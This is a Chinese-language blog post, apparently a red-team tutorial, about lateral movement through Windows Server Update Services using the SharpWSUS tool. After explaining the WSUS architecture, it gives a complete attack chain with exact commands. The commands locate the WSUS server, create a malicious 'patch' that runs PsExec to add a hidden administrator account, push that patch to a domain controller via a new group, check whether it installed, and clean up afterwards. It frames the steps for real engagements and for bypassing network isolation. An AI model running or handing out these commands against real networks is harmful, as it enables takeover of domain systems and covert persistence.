前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用SharpWSUS通过WSUS横向移动

使用SharpWSUS通过WSUS横向移动

作者头像
黑白天安全
发布2022-11-11 16:55:48
7590
发布2022-11-11 16:55:48
举报

WSUS介绍

WSUS 是一种 Microsoft 解决方案,使管理员可以以扩展的方式在整个环境中部署 Microsoft 产品更新和补丁,使用内部服务器而不需要直接连接到Internet。WSUS服务在 Windows 企业环境中极为常见。

WSUS架构

通常,WSUS 部署的体系结构非常简单,但是在实际环境中它们以更复杂的方式进行配置。最常见的部署是企业网络中配置一台 WSUS 服务器,此服务器将通过 HTTP 和 HTTPS 与 Microsoft 联系以下载 Microsoft 补丁。下载这些后,WSUS 服务器将在客户端链接 WSUS 服务器时将补丁部署到客户端。WSUS 服务器和客户端之间的通信将在 HTTP 端口 8530 和 HTTPS 端口 8531 上进行。

示例如下:

在更复杂的 WSUS 部署中,可能存在一个主 WSUS 服务器通过 Internet 与 Microsoft 通信,然后在内部,主 WSUS 服务器将补丁推送到其他内部 WSUS 服务器,然后将其部署到客户端。在这种情况下,连接到 Internet 的 WSUS 服务器称为上游服务器,而无法访问 Internet 并从上游服务器获取补丁的 WSUS 服务器将称为下游服务器。下面是一个示例图:

最常见的部署是一个单一的 WSUS 服务器,将补丁部署到资产中的所有客户端。这种部署意味着环境中的一台服务器可以与 WSUS 管理的所有服务器和客户端进行通信,这使得 WSUS 成为绕过网络隔离的非常有吸引力的目标。

定位 WSUS 服务器

可以通过查询以下注册表项找到客户端正在使用的 WSUS 服务器:

代码语言:javascript
复制
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate

此密钥将存在于通过 WSUS 管理的任何工作站或服务器上。由于最常见的部署是单个 WSUS 服务器,因此密钥中的服务器很可能与用于关键服务器的服务器相同。

这可以通过 SharpWSUS 使用SharpWSUS.exe locate来进行定位:

枚举 WSUS 服务器

SharpWSUS 可用于枚举有关 WSUS 部署的各种详细信息,例如当前服务器管理的计算机、每台计算机上一次签入更新的时间、任何下游服务器和 WSUS 组.

代码语言:javascript
复制
SharpWSUS.exe inspect。

横向运动

WSUS 横向移动的一个关键考虑因素是无法控制客户端何时链接服务器。但是一般客户端会定期检查补丁,例如每天,也可能每月一次的补丁日才会安装补丁。如果优先级足够高,某些客户端可能会被配置为立即安装补丁。

滥用 WSUS 的第一步是创建恶意补丁,创建补丁时,可以通过 SharpWSUS 中的命令行配置各种参数值。有效负载必须是 Microsoft 签名的二进制文件,并且必须指向磁盘上的某个位置,以便 WSUS 服务器获取该二进制文件。

那么在 WSUS中我们需要绕过的是有效负载必须是 Microsoft 签名的二进制文件,这里我们可以使用lolbins等等进行绕过,这里使用的是PsExec.exe

代码语言:javascript
复制
SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe"
 /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123!
  /add && net localgroup administrators WSUSDemo /add\"" /title:
  "WSUSDemo"

此补丁将添加一个用户名为WSUSDemo的新用户,并加进管理员组。创建修补程序后,它将在 WSUS 控制台中可见。制作的补丁如下图所示:

点击补丁,则可以看到更多信息:

作为补丁创建过程的一部分,补丁中使用的二进制文件也被复制到 WSUS 文件位置并命名为"wuagent.exe"。

例如WSUS 内容位置是“C:\UPDATES\WsusContent”,那么二进制文件也将被复制到“C:\UPDATES\wuagent.exe”,WSUS 客户端会从这个文件夹中获取这个二进制文件

制作补丁后,接下来的步骤是创建一个组,将目标计算机添加到该组,然后将补丁部署到该组。这是因为 WSUS 修补程序是按 WSUS 组而不是按计算机进行工作的。这意味着要针对特定机器,有必要还需要确保该机器位于没有其他机器的组中。

这可以通过以下命令在 SharpWSUS 中使用一个命令来完成:

代码语言:javascript
复制
SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 
/computername:bloredc2.blorebank.local /groupname:"Demo Group",
其中updateid GUID 是在 create 命令的输出。

检查组“Demo Group”是否存在,如果不存在则创建它。然后它将域控制器添加到组并获取该组的恶意补丁。

这也可以在 WSUS 控制台中看到。

在此之后,那么我们需要等待客户端下载并安装补丁。SharpWSUS 可用于枚举更新的状态:

代码语言:javascript
复制
SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 
/computername:bloredc2.blorebank.local”,其中updateid与以前相同。

在客户端中我们可以手动检查更新(在实战中我们需要等待目标计算机更新)

可以看到我们的恶意补丁

安装补丁

那么在目标计算机中可以看到成功添加了用户:

在目标机器上安装补丁后,将能够看到以下信息。

目标计算机安装补丁后,可以使用以下命令在 SharpWSUS 中执行清理:

代码语言:javascript
复制
SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 
/computername:bloredc2.blorebank.local /groupname:”Demo Group”

查看 WSUS 控制台可以看到该组已被删除。

如果在 WSUS 中明确搜索补丁,则它不再存在。

需要注意的是,补丁二进制“wuagent.exe”将保留在磁盘上,我们需要手动删除。

SharpWSUS:https ://github.com/nettitude/SharpWSUS

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-09-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • WSUS介绍
  • WSUS架构
  • 定位 WSUS 服务器
  • 枚举 WSUS 服务器
  • 横向运动
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档